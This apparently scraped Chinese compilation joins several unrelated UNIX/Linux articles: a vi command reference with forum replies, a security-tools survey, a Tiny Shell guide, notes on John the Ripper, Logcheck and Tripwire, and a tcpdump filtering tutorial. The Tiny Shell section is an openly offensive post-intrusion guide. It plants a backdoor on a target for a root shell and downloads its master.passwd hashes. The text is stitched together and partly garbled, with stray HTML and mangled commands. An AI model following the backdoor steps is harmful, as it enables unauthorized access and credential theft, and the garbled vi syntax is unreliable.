简单的介绍UNIX下的常用编辑工具VIWindows系统
“浑水不摸鱼斯基”通过精心收集,向本站投稿了9篇简单的介绍UNIX下的常用编辑工具VIWindows系统,今天小编就给大家整理后的简单的介绍UNIX下的常用编辑工具VIWindows系统,希望对大家的工作和学习有所帮助,欢迎阅读!
篇1:简单的介绍UNIX下的常用编辑工具VIWindows系统
vi全屏幕编辑器 vi(Visual)是以视觉为导向的全屏幕编辑器、共分为三种方式(mode): command方式: ?任何输入都会作为编辑命令,而不会出现在屏幕上,若输入错误则有“岬”的声音;任何输入 ?都引起立即反映 insert方式: ?任何输入的数据都置于编辑寄存器
vi全屏幕编辑器
vi(Visual)是以视觉为导向的全屏幕编辑器、共分为三种方式(mode):
command方式:
?任何输入都会作为编辑命令,而不会出现在屏幕上,若输入错误则有“岬”的声音;任何输入
?都引起立即反映
insert方式:
?任何输入的数据都置于编辑寄存器,在command方式下输入(I,a,A等),可进入insert方式,??insert方式下按ESC,可跳回command方式。
escape方式:
以“:”或者“/”为前导的指令,出现在屏幕的最下一行,任何输入都被当成特别指令。
进入vi(在系统提示符下面输入以下指令):
vi ????????? 进入vi而不读入任何文件
vi filename????? 进入vi并读入指定名称的文件(新、旧文件均可)。
vi +n filename????进入vi并且由文件的第几行开始。
vi +filename ???? 进入vi并且由文件的最后一行开始。
vi + /word filename ?进入vi并且由文件的word这个字开始。
vi filename(s) ??? 进入vi并且将各指定文件列入名单内,第一个文件先读入。
vedit???????? 进入vi并且在输入方式时会在状态行显示“INSERT MODE“。
编辑数个文件(利用vi filename(s))进入vi后)
:args ????????显示编辑名单中的各个文件名
:n??????????读入编辑名单中的下一个文件
:rew?????????读入编辑名单中的第一个文件
:e#????????? 读入编辑名单内的前一个文件
:e file ???????读入另一个文件进vi(此文件可不在编辑名单内),若原文件经修改还没有存档,则???????????应先以: w 存档。
:e! file???????强迫读入另一个文件进入vi,原文件不作存档动作。
存储及退出vi
:w filename????? 存入指定文件,但未退出vi(若未指定文件名则为当前工作的文件名)。
:wq 或者或者zz?? 存文件,并且退出vi.
:q??????????不作任何修改并退出vi。
:q!????????? 放弃任何修改并退出vi。
:!command?????? 暂时退出vi并执行shell指令,执行完毕后再回到vi。
:sh????????? 暂时退出vi到系统下,结束时按Ctrl + d则回到vi。
加数据指令
i?????????? 在关标位置开始插入字符,结束时候按ESC键。
I?????????? 在光标所在行的最前面开始加字,结束时按ESC键。
a?????????? 在光标位置后开始加字,结束时按ESC键。
A?????????? 在光标所在行的最后面开始加字,结束时按ESC键。
o?????????? 在光标下加一空白行并开始加字,结束时按ESC键。
O?????????? 在光标上加一空白行并开始加字,结束时按ESC键。
!command???????执行shell指令,并把结果加在光标所在行的下一行。
删除指令
nx??????????删除由光标位置起始的n个字符(含光标位置,按一个x表示删除光标所在的字符)
nX ????????? 删除由光标位置起始的n个字符(不含光标位置)。
ndw????????? 删除光标位置其实的n个字符组(word)。
d0 ????????? 将行的开始到光标位置的字符全部删除。
d$ 或D ??????? 将光标位置起始到行尾的字符全部删除。
ndd ?????????将光标位置起始的n行(整行)删除(dd表示删除光标所在行)。
:start,endd????? 删除文件的第start到end行。
关标移动
0 ??????????移到一行的开始
$ ??????????移到一行的最后
[?????????? 移到文件开始位置
]?????????? 移到文件结束位置
nh??????????往左移n位
nl或者spacebar ??? 往右移n位
nk??????????向上移n行
n+??????????向上移n行,光标在该行的起始
ni ????????? 向下移n行
n-??????????向下移n行,光标在该行的起始
H?????????? 移到屏幕的左上角
M?????????? 移到屏幕的中间行开头
L?????????? 移到屏幕的最后一行
G?????????? 移到文件的最后一行
nG或者:n???????移到文件的第n行
nw??????????右移n个字组,标点符号属于字组
nW??????????右移n个字组,标点符号不属于字组
nb??????????左移n个字组,标点符号属于字组
nB??????????左移n个字组,标点符号不属于字组
Ctrl + u???????屏幕上卷半个菜单
Ctrl + d ?????? 屏幕下卷半个菜单
Ctrl + b ?????? 屏幕上卷一个菜单
Ctrl + F ?????? 屏幕下卷一个菜单
修改指令
r?????????? 修改光标文件的字符
R?????????? 从光标位置开始修改,结束时按ESC键
new????????? 更改n组字符,结束时按ESC键
ncc????????? 从光标所在位置开始更改n行,结束时按ESC键
重排各行长度
i?????????? 并按Enter将该行由光标所在处断开,并进入insert方式
J ??????????把下一行的数据连接到本行之后
寻找指令
/text???????? 从光标位置往下找字串text
?text???????? 从光标位置往上找字串text
n?????????? 继续找下一个字串(在输入上面的寻找指令之后使用)
寻找并且取代指令
:getxt1/s/ /text2/options ??将各行的text1替换为text2
???????????????option=g表示文件中所有的text1均被取代,若未输入任何option,则只有???????????????各行中的第一个出现的text1被取代
???????????????option=go 在屏幕显示各取代的行
???????????????option=gc 在每个字串取代之前要求确认?
Start,endgtext1/s/ / text2/options ?同上,只寻找并取代第start~end行,
或:Start,ends/text1/text2/options
复制及移动文件
:first,last co dest ?????将first 到last行的数据复制到目标行(dest)下面
:Start,end?m dest??????将start 到 end行的数据移动到目标行(dest)下。???
:r filename????????? 将指定文件的内容读入光标所在行下。
nY ????????????? 将光标所在位置开始的n行数据暂存
p?????????????? 复制暂存数据在光标的下一行
P?????????????? 复制暂存数据在光标的上一行
其他命令
.?????????????? 重复前一指令
u?????????????? 取消前一指令
Ctrl + l???????????刷新屏幕显示
:set number????????? 显示文件的行号,但不会存文件
:set nonumber???????? 解除行号显示
:set ai??????????? 设置每行起始位置(以光标当前位置为起始)
:set noai?????????? 取消行起始位置设定
:f 或
HopeCao 回复于:-11-07 22:42:00不错,不过我很少用到这么多命令!
烦人 回复于:2002-11-08 00:00:14请教一下,怎么用vi删除一个文件中每行的第a个到第b个字符?
RootZero 回复于:2002-11-08 00:36:45不错!!!!
比我写的还要好!
cctv666666 回复于:2002-11-09 22:23:13很不错很实用:)
mzd73 回复于:2002-11-09 22:25:25[quote][b]下面引用由[u]烦人[/u]在 [i]2002/11/08 00:00am[/i] 发表的内容:[/b]
请教一下,怎么用vi删除一个文件中每行的第a个到第b个字符?
[/quote]
查出从A到B共有几个字符,例如6个字符,输入6x,就可以了。
xczgf 回复于:2002-11-10 10:18:51正是本人所需,非常不错.
kesine 回复于:2002-11-10 12:33:33大家都利害啊
dddhf 回复于:2002-12-07 08:38:10看了以后,感觉内容很好!
我还要请教一下,怎么样显示行号,怎么样截取文件的一部分到另一个文件!
谢谢!怎样取消行号。合并文件等!
xlcc 回复于:2002-12-07 19:43:57VI基本上不用,我要编辑就直接去图型模式下。VI太麻烦
c1l2d3 回复于:2002-12-07 20:14:58平时不用那么多,有几个就足够了,不过学学有用,先收了
原文转自:www.ltesting.net
篇2:Linux下安全工具Windows系统
hubertzou 译 原文: Linux Focus Georges Tarbouriech 摘要: 安全是系统管理员忧虑的主要问题之一,然而,由于internet引发的侵入危险变得越来越高. 据统计,如果联接的用户数量增加,骇客的数量随之增加.因此,安全工具呈指数增加.再一次多谢自由软件社区,因为
hubertzou 译
原文:LinuxFocus Georges Tarbouriech
摘要:
安全是系统管理员忧虑的主要问题之一,然而,由于internet引发的侵入危险变得越来越高.
据统计,如果联接的用户数量增加,骇客的数量随之增加.因此,安全工具呈指数增加.再一次多谢自由软件社区,因为他们给我们提供了我们能见到的最好的工具和大量的文档.
在本文结束部分的参考文献区你将会发现许多有趣的联接,显而易见地,本文将要提到的不可能没有疏漏之处,我提到的只是我挑选的一些好工具.
这篇文章不但写给个人用户,同样也是给系统管理员提供的,尽管一些工具是为保护主机和提高网络安全专门设计的.大部分工具可以在许多unix上工作(如果不是全部的unix上),不管这些unix是商业的还是免费的.
最后,这篇文章不是一篇”如何使你的网络或主机安全“的文章,而是一篇关于你能够(必须)用来提高一个网络或机器安全性的各种工具的介绍.
一、通用的工具
让我们把这部分称为”白帽子保护红帽子,击退黑帽子的工具(tools for whitehats to protect redhat from blackhats)“:-).大多数linux发行版(不仅仅是redhat)都保含了一些好的安全工具,它们被用来使你的机器更加安全.
在这些工具中,我们能数出TCPWrapper,PAM,影子口令工具等,因为它们是发行版的一部份,你可以找到关于它们的许多东西:HOWTO,man手册,所以我们不想在它们身上化太多时间.
让我们从影子口令工具开始,简单来说,它们允许口令加密,文件/etc/passwd被文件/etc/shadow代替.
比影子口令工具更精致的是PAM,就象名字所说的那样,这是另外一种认证方法,被用来配置对服务的访问控制.
可以在一些文件中定义许多限制,这样能容易地进行管理.这些文件通常放在/etc/pam.d目录中.
TCPWrapper,简单来说,是通过ip地址或主机名来限制服务访问权限.倚靠两个文件来决定容许访问还是拒绝访问,这两个文件是/etc/host.allow和/etc/host.deny
TCPWrapper可以配置为两种工作模式:通过运行看守进程,或者是修改/etc/inetd.conf文件.如果你的unix系统没有包含TCPWrapper,你可以从ftp://ftp.porcupine.org/pub/security/获得它.
现在,我要告诉你们,为什么我不详悉介绍上面提到的这些工具,因为有一个工具可以完成上叙所有的功能,这就是Bastille-Linux,如果你只想安装一个安全工具,那么就安装它吧,目前的常见的linux版本还没有包含它, 但你可以到bastille-linux.sourceforge.net网站上下载.
顺便说一下,我们不会在本文介绍Bastille-Linux,这样做毫无意义,因为我的同事在九月份的LinuxFocus上有一篇相当不错的文章已经介绍了它.他已经介绍了所有的东西.去那看看吧,让我们把Bastille-Linux加入你生活中必不可少的重要工具中吧!
另外一个常用的来提高安全性的工具是xinetd,它存在于www.xinetd.org,对不起,我也不打算介绍它,同样是是因为我的同事在十一月份的LinuxFocus上做完了这项工作.
现在,让我们来看一看一些特别的东西.
二、防火墙工具
自由软件Linux带有把你机器变成防火墙的软件.2.2内核是iptables,而2.0内核则是ipfwadm.为了使iptables或ipfwadm工作,内核必需正确选择选项进行编译.关于这个问题,除了HOWTOS,还有很多相关文章,所以,同样我不打算多提.
简单地说,我们可以把防火墙看作包过滤工具,工作最重要的部分是关心防火墙的配置,同样,一个错误配置的防火墙会变得非常危险.
不管怎么说,防火墙相当重要.
举个例子来说,Bastille-Linux可以给你提供一个基于ipchains的防火墙.
如果你访问www.linuxapps.com,并在搜索区中键入”firewall“,你至少能得到40个以上的答案.其中许多是基于ipchains或ipfwadm管理的图形化界面,另外一些是真正的大工具,含有大量的功能,举个例子,象T.REX,www.opensourcefirewall.com上的工具就是这样的东西.再提醒一次,一个防火墙在一个网络中必不可少,但是网络安全不能仅仅依靠它,告诉你,一个骇客可以在十五分钟之内攻破它.
三、端口扫描
在这里我们接触问题的核心部分,这个思想是:象一个骇客干的那样,使用同样的工具,来监测你机器或网络的弱点所在.
在这个领域,我们能够在两个伟大的工具上受益,但还有其它更多的.
第一个叫作nmap,你可以从www.insecure.org上下载到,同时还有大量的信息和链接等等.
用nmap你可以检查你的网络或机器哪些端口是开放的.当然,你可以用其它的命令做到这点,例如lsof或netstat,但是只能检测你自己的机器.显而易见的,nmap当然也可以检查你自己的机器.
nmap能提供给你许多信息,例如,它能告诉你运行的是哪种操作系统,通知你所开放的端口的危险性,最后,至少,nmap相当容易使用.
nmap既可在shell下运行,也可以通过一个叫nmapfe的图形界面来运行.这个图形界面是基于gtk库的,nmap的当前版本是2.53,它可以在许多unix平台上运行,提供原代码,rpm包,带或不带图形界面.
nmap是系统管理必不缺少的工具.
多谢Fyodor先生,以及恭贺他的伟大工作.
第二个叫作nessus,可从网站www.nessus.org上下载,nessus使用客户/服务器结构来工作,源代码遵循posix标准,能在许多unix版本上运行.甚至还有基于win32的客户端.nessus依赖nmap(要知道,没有nmap,nessus就不能运行),GUI客户端还需要GTK库函数的支持.
nessus当前版本是1.06,通过nessus,你可一用一个命令扫描整个网络.这个命令就是网络地址,例如,在目标框中键入192.168.1.0/24,将会扫描整个子网的255台机器.
尽管nessus比nmap复杂不少,但它不但容易使用,功能很多.比方说,它可以生成报告,比较各报告的差异...,另外一个功能相当有趣:nessus为端口扫描中发现的问题提供解决方案,只要这些机器是unix系统,这些建议通常有用,对其它操作系统,就没这么恰当,但这不是一个问题.
下面是一台非常容易受攻击的机器的例子
nessus还有另一项伟大的功能,它可以运行插件,这样,每次在任何地方发现新的安全漏洞,它都可以很快升级.
nessus是另一个系统管理真的需要的工具,Deraison先生和Merci beaucoup做的棒极了.
两个工具都在一个linux机器和其它不同操作系统的网络中测试过,有Linux RH 6.2, Irix 6.5.7, Solaris 2.6, NeXTStep 3.3,QNX RT, BeOS 5.0, Amiga OS 3.5,Not Terminated 4.0.在大多数平台上测试结果给人留下深刻印象,当然Amiga系统没有真正被认证,(因为它看起来象一台打印机或路由器!),但是有谁现在的网络中还有这种操作系统呢(除了我们)?
不管怎么说,整些工具是今天网络中必须有的工具.
为了结束这个章节,让我们来提一提其它一些工具象SARA(www-arc.com/sara/),或者是它的父辈SATAN(www.porcupine.org/satan/)或AINT(www.wwdsi.com).它们不但是端口扫瞄器而且它们都对提高网络安全非常有用.
四、嗅探系统
有些工具能发现端口扫描或入侵.标准的系统管理不能没有这种工具(这有点偏执!).
第一套工具集来自算盘工程.你可以从www.psionic.com获得这些工具.其中包含三个工具:
clearcase/” target=“_blank” >cccccc border=1>
logcheck,portsentry和hostsentry.
原文转自:www.ltesting.net
篇3:Unix/Linux系统下轻量级Shell工具
by:dahubaobao
一,前言
随着互联网的发展,使用Unix/Linux系统的越来越多,而入侵一台Unix/Linux系统也不再是什么难事了,通常,在入侵成功之后,都会留一个或几个后门,以便再次进入;对于Unix/Linux系统,后门的种类比较多,初级的有修改“.rhosts”文件,复制一个Shell到一个隐藏目录,修改etc/passwd文件加用户等手段。较高级的莫属使用内核模块后门(Rootkit)了,它是Unix/Linux系统下最高级别的后门,也许最具有隐蔽性的,但今天我并不说Rootkit,因为它的使用过于复杂,对没有Unix/Linux系统使用经验的人来说,更是难以驾御。而Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具,不仅小巧,还支持另外一些不错的功能,具体请看下文。
二,应用
1,Tiny Shell简介
Tiny Shell是一款轻量级的标准远程Shell工具,可以提供远程执行命令(包括:Rlogin,Telnet,Ssh等)和文件传输功能(上传、下载),支持单字节,完全支持Pseudo-Terminal Pairs(pty/tty)等伪终端。并使用强大的160-bit RC4加密,以躲避嗅探器的检测具备AES-128 + HMAC-SHA1的强大加密和认证。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系统。
2,Tiny Shell应用
测试环境:
本地:OpenBSD 3.4 IP:192.168.0.40
目标:FreeBSD 4.9 STABLE IP:192.168.0.20
首先下载Tiny Shell,解压缩后修改源代码,以求该工具更能符合我们的要求。
#fetch www.ringz.org/tsh-0.6.tgz
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = “replace with your password”;
//连接后门的密码,我修改为dahubaobao。这个后门的主程序是tsh.c,先看看下边的源代码
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( “Password: ” );
goto connect;
}
}
//重点在这里:ret = pel_client_init( server, secret );
把secret变量作为了参数,也就是连接后门所需要的密码。现在知道为什么修改tsh.h了吧。
#define SERVER_PORT 7586
//后门简听的端口,任意修改
if( argc == 5 && ! strcmp( argv[2], “get” ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], “put” ) )
{
action = PUT_FILE;
}
//该后门并没有帮助信息,所以查看这里得知Get为下载,Put为上传,
当然,如果你喜欢,可以自行修改。另外,如果你想该后门输出帮助信息,可以自己添加一个Printf语句来输出帮助信息。这里给出一个最简单的方法,我们在不加参数的情况下执行./tsh的时候,会提示gethostbyname failed.,然后查看源代码,找到fprintf( stderr, “gethostbyname failed.\n” );这句代码,聪明的你也许想到了,就是修改gethostbyname failed.为你想要的帮助信息,这样,在执行./tsh的时候,就会自动输出帮助信息了。呵呵,也算一种变相修改吧。下面开始编译源代码。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根据你的系统做相应的选择,10秒钟就编译好了(如图1)。
然后,会在当前目录下生成两个可执行文件,一个客户端,一个服务端,分别为:tsh,tshd。现在将tshd复制到目标系统(FreeBSD),然后执行./tshd完成安装。为了更清楚的表示我使用的环境,所以回到本地执行id命令,得知该用户的UID=1000,是普通用户;现在使用./tsh 192.168.0.20来接连目标主机(为了测试方便,我就不加密码了),好,现在我们获得了一个Root权限的Shell,再使用id命令(注意,这是在目标主机上),可以看到UID=0了,这可是Root权限哦!执行uname Ca命令,回显为FreeBSD系统,可见已经成功连接后门并登陆了(如图2)。另外,该后门还可以在连接的时候插入Shell命令,语法为./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,这条命令的意思是连接192.168.0.20目标主机,接着执行cat etc/passwd命令,这样,目标主机的passwd文件我们就一览无余了(如图3)。但要注意,使用这种形式并没有登陆目标主机,只是连接目标主机,然后插入一个Shell命令而已。
现在我们来看看上传、下载的使用方法。从源代码中知道,上传的关键字为Put,下载的关键字为Get。好,先来看看如何上传文件,执行“./tsh 192.168.0.20 put 文件名 目标主机目录”即可完成上传,但要注意,文件要在当前目录下,也就是和tsh在同一个目录下。我上传的一个back的二进制文件,使用./tsh 192.168.0.20 put back /,这条命令是将back文件上传目标根目录,然后我再使用./tsh 192.168.0.20连接到目标主机,ls查看back是否已经上传到了对方主机(如图4),呵呵,还不错吧!在来看下载文件,它的语法为“./tsh 192.168.0.20 get 目标文件 本地目录”,现在我们来获得其最敏感的文件----master.passwd(影子文件,也就是Linux系统下的shadow文件)。执行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思为下载目标主机的master.passwd文件到本地的/home/dahubaobao目录,然后使用ls查看,可以看见已经将对方的master.passwd下载到了本地(如图5),再vi master.passwd(如图6),哈哈,用户的加密密码近在眼前。提示,FreeBSD的用户密码是采用MD5加密的。
小结
Tiny Shell作为一款小型的Shell工具,丝毫不逊于其他同类的Shell工具,而且支持大部分的Unix/Linux系统,绝对值得一试。当然,这款后门很不隐蔽,我们可以结合Rootkit来加固(Rootkit中也提供Shell工具,但无法和Tiny Shell相比,不信你可以自己试试),Rootkit的使用可以去google找答案,在此就不多说了。
篇4:Linux系统下常用的三款网络安全工具
在Linux中,密码以hash格式被存储, 你不能反向从该hash数据表中分析出密码,但可以以一组单词hash后和它进行比较,如相同则就猜测出密码,故起一个很难被猜测的密码是非常关键的。
一、John the ripper
在Linux中,密码以hash格式被存储, 你不能反向从该hash数据表中分析出密码,但可以以一组单词hash后和它进行比较,如相同则就猜测出密码。故起一个很难被猜测的密码是非常关键的。一 般地你决不能用字典存在的某个单词作为密码,那是相当容易被猜测出来的。另外也不能用一些常见的有规则性的字母数字排列来作为密码,以123abc等。
John the ripper是一个高效的易于使用的密码猜测程序。
其主页在www.openwall.com/john/
下载tar.gz格式的for UNIX的程序,然后用tar xvfz john*.tar.gz解开到任一目录下。进入src目录,打入make linux-x86-any-elf (我用redhat 6.1)后会在run目录下生成几个执行文件,包括主程序john。现在要Crack密码就运行./john /etc/passwd即可。
John也可以Crack由htpasswd 生成的用于验证apache用户的密码,如果你用htpasswd -c apachepasswd user创建了一个用户user,并生成了密码,你也可以用john apachepasswd来进行猜测。
John在猜测密码时输出在终端上,并把猜测出的密码存于john.pot文件中。
另一个password Cracker是大家知道的经典的Cracker.
主页在 www.users.dircon.co.uk/~crypto/
二、Logcheck
Logcheck是用来自动检查系统安全入侵事件和非正常活动记录的工具,它分析各种Linux log文件,象/var/log/messages, /var/log/secure,/var/log/maillog等等,然后生成一个可能有安全问题的问题报告自动发送email给管理员,
你能设置它基于每小时,或者每天用crond来自动运行。
logcheck工具的主页在www.psionic.com/abacus/logcheck/下载后用tar xvfz logcheck*解开到一临时目录如/tmp下,然后用./make linux自动生成相应的文件到/usr/local/etc,/usr/local/bin/等目录下,你可能更改设置如发送通知能谁的邮件帐号,默认 发送到root,你能设置root的邮件别名帐号到一批人,更改设置让其忽略某些类型的消息如你的邮件记录文件中的plug-gw,因为plug-gw做 反向IP查找,若找不到则记录一个警告消息到/var/log/maillog,logcheck默认记录下所有这些警告发送给你,你可以通过设置忽略掉它们。利用logcheck工具分析你的所有logfile,避免了你每天经常手动地检查它们,节省了时间,提高了效率。
三、Tripwire
Tripwire 是一个用来检验文件完整性的非常有用的工具,你能定义哪些文件/目录需要被检验,不过默认设置能满足大多数的要求,它运行在四种模下:数据库生 成模式,数据库更新模式,文件完整性检查,互动式数据库更新。当初始化数据库生成的时候,它生成对现有文件的各种信息的数据库文件,万一以后你的系统文件 或者各种配置文件被意外地改变,替换,删除,它将每天基于原始的数据库对现有文件进行比较发现哪些文件被更改,你能根据email的结果判断是否有系统入 侵等意外事件。
Tripwire的主页在 www.tripwiresecurity.com , tripwire-1.2.3的版本你能免费使用.
如果你使用Redhat Linux 6.1,你也能得到最新的为6.1重建的Tripwire-1.2.3
(rufus.w3.org/linux/RPM/powertools/6.1/i386/tripwire-1.2-3.i386.html)
当你手动更改了系统中的配置文件或程序时,你能手动再次生成一次数据库文件,运行 tripwire-initialize 在当前目录下创建databases目录并在该目录下生成新的系统数据库文件,然后cp到/var/spool/tripwire目录中覆盖旧的
篇5:Linux下抓包工具tcpdump使用介绍
在传统的网络分析和测试技术中,嗅探器(sniffer)是最常见,也是最重要的技术之一,sniffer工具首先是为网络管理员和网络程序员进行网络分析而设计的。
匹配ether广播包。ether广播包的特征是mac全1.故如下即可匹配:
tcpdump ‘ether dst ff:ff:ff:ff:ff:ff‘
ylin@ylin:~$ sudo tcpdump -c 1 ‘ether dst ff:ff:ff:ff:ff:ff‘
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
10:47:57.784099 arp who-has 192.168.240.77 tell 192.168.240.189
在此,只匹配1个包就退出了。第一个是arp请求包,arp请求包的是采用广播的方式发送的,被匹配那是当之无愧的。
匹配ether组播包,ether的组播包的特征是mac的最高位为1,其它位用来表示组播组编号,如果你想匹配其的多播组,知道它的组MAC地址即可。如
tcpdump ‘ether dst ‘ Mac_Address表示地址,填上适当的即可。如果想匹配所有的ether多播数据包,那么暂时请放下,下面会继续为你讲解更高级的应用。
(2)匹配arp包
arp包用于IP到Mac址转换的一种协议,包括arp请求和arp答应两种报文,arp请求报文是ether广播方式发送出去的,也即 arp请求报文的mac地址是全1,因此用ether dst FF;FF;FF;FF;FF;FF可以匹配arp请求报文,但不能匹配答应报文。因此要匹配arp的通信过程,则只有使用arp来指定协议。
tcpdump ‘arp‘ 即可匹配网络上arp报文。
ylin@ylin:~$ arping -c 4 192.168.240.1>/dev/null& sudo tcpdump -p ‘arp‘
[1] 9293
WARNING: interface is ignored: Operation not permitted
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
11:09:25.042479 arp who-has 192.168.240.1 (00:03:d2:20:04:28 (oui Unknown)) tell ylin.local
11:09:25.042702 arp reply 192.168.240.1 is-at 00:03:d2:20:04:28 (oui Unknown)
11:09:26.050452 arp who-has 192.168.240.1 (00:03:d2:20:04:28 (oui Unknown)) tell ylin.local
11:09:26.050765 arp reply 192.168.240.1 is-at 00:03:d2:20:04:28 (oui Unknown)
11:09:27.058459 arp who-has 192.168.240.1 (00:03:d2:20:04:28 (oui Unknown)) tell ylin.local
11:09:27.058701 arp reply 192.168.240.1 is-at 00:03:d2:20:04:28 (oui Unknown)
11:09:33.646514 arp who-has ylin.local tell 192.168.240.1
11:09:33.646532 arp reply ylin.local is-at 00:19:21:1d:75:e6 (oui Unknown)
本例中使用arping -c 4 192.168.240.1产生arp请求和接收答应报文,而tcpdump -p ‘arp‘匹配出来了。此处-p选项是使网络工作于正常模式(非混杂模式),这样是方便查看匹配结果。
(3)匹配IP包
众所周知,IP协议是TCP/IP协议中最重要的协议之一,正是因为它才能把Internet互联起来,它可谓功不可没,下面分析匹配IP包的表达式。
对IP进行匹配
tcpdump ‘ip src 192.168.240.69‘
ylin@ylin:~$ sudo tcpdump -c 3 ‘ip src 192.168.240.69‘
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
11:20:00.973605 IP ylin.local.51486 >walnut.crossbeamsys.com.ssh: S 2706301341:2706301341(0) win 5840
11:20:00.974328 IP ylin.local.32849 >192.168.200.150.domain: 5858+ PTR? 20.200.168.192.in-addr.arpa. (45)
11:20:01.243490 IP ylin.local.51486 >walnut.crossbeamsys.com.ssh: . ack 2762262674 win 183
IP广播组播数据包匹配:只需指明广播或组播地址即可
tcpdump ‘ip dst 240.168.240.255‘
ylin@ylin:~$ sudo tcpdump ‘ip dst 192.168.240.255‘
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
11:25:29.690658 IP dd.local >192.168.240.255: ICMP echo request, id 10022, seq 1, length 64
11:25:30.694989 IP dd.local >192.168.240.255: ICMP echo request, id 10022, seq 2, length 64
11:25:31.697954 IP dd.local >192.168.240.255: ICMP echo request, id 10022, seq 3, length 64
11:25:32.697970 IP dd.local >192.168.240.255: ICMP echo request, id 10022, seq 4, length 64
11:25:33.697970 IP dd.local >192.168.240.255: ICMP echo request, id 10022, seq 5, length 64
11:25:34.697982 IP dd.local >192.168.240.255: ICMP echo request, id 10022, seq 6, length 64
此处匹配的是ICMP的广播包,要产生此包,只需要同一个局域网的另一台主机运行ping -b 192.168.240.255即可,当然还可产生组播包,由于没有适合的软件进行模拟产生,在此不举例子。
(4)匹配TCP数据包
TCP同样是TCP/IP协议栈里面最为重要的协议之一,它提供了端到端的可靠数据流,同时很多应用层协议都是把TCP作为底层的通信协议,因为TCP的匹配是非常重要的。
如果想匹配HTTP的通信数据,那只需指定匹配端口为80的条件即可
tcpdump ‘tcp dst port 80‘
ylin@ylin:~$ wget www.baidu.com 2>1 1 >/dev/null & sudo tcpdump -c 5 ‘tcp port 80‘
[1] 10762
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
12:02:47.549056 IP xd-22-43-a8.bta.net.cn.www >ylin.local.47945: S 130469:1202130469(0) ack 1132882351 win 2896
12:02:47.549085 IP ylin.local.47945 >xd-22-43-a8.bta.net.cn.www: . ack 1 win 183
12:02:47.549226 IP ylin.local.47945 >xd-22-43-a8.bta.net.cn.www: P 1:102(101) ack 1 win 183
12:02:47.688978 IP xd-22-43-a8.bta.net.cn.www >ylin.local.47945: . ack 102 win 698
12:02:47.693897 IP xd-22-43-a8.bta.net.cn.www >ylin.local.47945: . 1:1409(1408) ack 102 win 724
(5)匹配udp数据包
udp是一种无连接的非可靠的用户数据报,因此udp的主要特征同样是端口,用如下方法可以匹配某一端口
tcpdump ‘upd port 53‘ 查看DNS的数据包
ylin@ylin:~$ ping -c 1 www.baidu.com >/dev/null& sudo tcpdump -p udp port 53
[1] 11424
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
12:28:09.221950 IP ylin.local.32853 >192.168.200.150.domain: 63228+ PTR? 43.22.108.202.in-addr.arpa. (44)
12:28:09.222607 IP ylin.local.32854 >192.168.200.150.domain: 5114+ PTR? 150.200.168.192.in-addr.arpa. (46)
12:28:09.487017 IP 192.168.200.150.domain >ylin.local.32853: 63228 1/0/0 (80)
12:28:09.487232 IP 192.168.200.150.domain >ylin.local.32854: 5114 NXDomain* 0/1/0 (140)
12:28:14.488054 IP ylin.local.32854 >192.168.200.150.domain: 60693+ PTR? 69.240.168.192.in-addr.arpa. (45)
12:28:14.755072 IP 192.168.200.150.domain >ylin.local.32854: 60693 NXDomain 0/1/0 (122)
使用ping www.baidu.com目标是产生DNS请求和答应,53是DNS的端口号,
此外还有很多qualitifer是还没有提及的,下面是其它合法的primitive,在tcpdump中是可以直接使用的。
gateway host
匹配使用host作为网关的数据包,即数据报中mac地址(源或目的)为host,但IP报的源和目的地址不是host的数据包。
dst net net
src net net
net net
net net mask netmask
net net/len
匹配IPv4/v6地址为net网络的数据报。
其中net可以为192.168.0.0或192.168这两种形式。如net 192.168 或net 192.168.0.0
net net mask netmask仅对IPv4数据包有效,如net 192.168.0.0 mask 255.255.0.0
net net/len同样只对IPv4数据包有效,如net 192.168.0.0/16
dst portrange port1-port2
src portrange port1-port2
portrange port1-port2
匹配端口在port1-port2范围内的ip/tcp,ip/upd,ip6/tcp和ip6/udp数据包。dst, src分别指明源或目的。没有则表示src or dst
less length 匹配长度少于等于length的报文。
greater length 匹配长度大于等于length的报文。
ip protochain protocol 匹配ip报文中protocol字段值为protocol的报文
ip6 protochain protocol 匹配ipv6报文中protocol字段值为protocol的报文
如tcpdump ‘ip protochain 6 匹配ipv4网络中的TCP报文,与tcpdump ‘ip && tcp‘用法一样,这里的&&连接两个primitive。6是TCP协议在IP报文中的编号。
ether broadcast
匹配以太网广播报文
ether multicast
匹配以太网多播报文
ip broadcast
匹配IPv4的广播报文。也即IP地址中主机号为全0或全1的IPv4报文。
ip multicast
匹配IPv4多播报文,也就是IP地址为多播地址的报文。
ip6 multicast
匹配IPv6多播报文,即IP地址为多播地址的报文。
vlan vlan_id
匹配为vlan报文 ,且vlan号为vlan_id的报文
到些为此,我们一直在介绍primitive是如何使用的,也即expression只有一个primitive。通过学会写好每个primtive,我们就很容易把多个primitive组成一个expression,方法很简单,通过逻辑运算符连接起来就可以了,逻辑运算符有以下三个:
“&&” 或”and”
“||” 或“or”
“!” 或“not”
并且可通过进行复杂的连接运算。
如tcpdump ‘ip && tcp’
